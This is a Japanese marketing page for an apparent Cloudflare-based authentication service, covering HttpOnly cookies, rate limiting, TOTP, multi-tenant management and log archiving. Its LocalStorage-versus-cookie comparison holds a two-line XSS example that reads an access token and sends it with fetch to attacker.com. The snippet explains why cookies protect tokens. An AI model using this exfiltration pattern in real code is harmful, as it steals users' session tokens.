セキュアで高速な、
次世代の認証スタンダード。

Cloudflare の最先端のグローバルエッジ上で動作するフルスタック認証ソリューション。 スピード、セキュリティ、そして最高の使いやすさを。

🚀 コア機能

🛡️

HttpOnly Cookies

セッショントークンをJavaScriptから保護されたセキュアなCookieとして保存し、XSS攻撃から完全にユーザーアカウントを防衛します。

KV Rate Limiter

不正アクセスや総当たり攻撃を防ぐため、エッジの超低遅延KVを利用した高性能かつ正確なレート制限(ウィンドウ追従型)を完備。

🗄️

Cloudflare D1

グローバル配信されるリレーショナルデータベース D1 により、ユーザー情報、マルチテナント構造、監査ログをミリ秒単位で高速取得。

👥

二段階認証 (TOTP)

認証アプリの6桁コードによる二段階認証に対応。パスワードが漏れても、それだけではアカウントに到達できません。バックアップコードも発行されます。

🖼️

R2 アバター配信

ユーザーアバターは Cloudflare R2 オブジェクトストレージへアップロード。グローバルキャッシュでロード時間をほぼゼロにします。

📧

統合メール通知

ユーザーの仮登録認証やパスワードリセット要求に対して、Cloudflare Send Email APIを使用した信頼性の高い配信が自動化されています。

🔐 セキュリティの進化

フロントエンドでのトークン保存をやめ、ブラウザのバックグラウンドで処理される HttpOnly Cookie に切り替えることで、XSS (クロスサイトスクリプティング) から完璧に防衛します。

⚠️

LocalStorage (従来型)

トークンがブラウザの JavaScript からアクセス可能です。悪意あるスクリプトが挿入された場合、トークンが簡単に盗み出されます。

// 危険なアクセス例
const token = localStorage.getItem("access_token");
fetch("https://attacker.com/steal?token=" + token);
🛡️

HttpOnly Cookie (Cloud Auth仕様)

トークンはブラウザが内部で完全に管理し、JavaScript からのアクセスを拒否します。XSS脆弱性があってもトークンは保護されます。

// アクセス不可(安全)
document.cookie = "ca_access_token=..."; // JSからは見えません
// ブラウザが自動的・安全にAPIへ送信します
マルチテナント対応

組織・テナントを
安全に分離&一元管理

1つの認証基盤で、複数のテナント(企業・組織・ワークスペース)を効率的かつ安全に管理。高度な分離設計により、各テナントごとのメンバー管理やセキュリティ設定を容易にします。

  • 組織の完全データ分離

    データベースレベルで各テナントのデータ・ユーザー情報を安全に分離保護します。

  • オーナーによるメンバー管理

    オーナーが自分のテナントのユーザーを作成・停止・削除できます。他のテナントには一切アクセスできません。

  • API キーによる連携

    テナントごとに API キーを発行し、自社のサーバーから認証機能を呼び出せます。

Tenant Management Dashboard Mockup

マルチテナント運用のための充実した管理機能

エンタープライズ品質のセキュリティと、洗練されたユーザー体験を両立します。

👥

テナント単位のユーザー管理

各テナントは独立したメンバー一覧を持ちます。オーナーは管理画面から、メールアドレスと初期パスワードを指定してユーザーを作成し、停止・削除まで行えます。他のテナントのユーザーは一覧にも表示されません。

📝

詳細な監査ログ(アクティビティ履歴)

アカウントの作成・更新・削除、権限の変更、メールアドレスの変更といった操作を、実行者・対象・日時・IPアドレスとともに記録します。管理画面から確認でき、30日を過ぎた記録はアーカイブへ移されます。

🔒

失効が即座に効くセッション管理

リクエストごとにセッションの生存とアカウントの状態を確認します。ログアウト、端末の解除、アカウントの停止、パスワードの再設定は、いずれも次のリクエストから反映されます。

ログイン中の端末の可視化

どの端末からログインしているかを、接続元とログイン日時とともに一覧できます。見覚えのない端末はその場で個別に解除でき、他の端末をまとめてログアウトさせることもできます。

⚙️ 自動化された運用設計

1

監査ログの記録

アカウントの作成・更新・削除や権限の変更といった重要な操作は、実行者とともに記録されます。

2

定期 Cron クリーニング (午前3時)

Cloudflare Workers の Scheduled Triggers が毎日バックグラウンドで起動し、30日以上前のログレコードを抽出します。

3

R2 アーカイブへの保存 & 削除

抽出された古いログは安全に JSON 形式で R2 バケットに永続保存され、同時に D1 データベースから削除され容量を最小限に保ちます。

今すぐ安全な認証基盤を。

アカウントを作成すれば、その場からユーザーの登録と API キーの発行を始められます。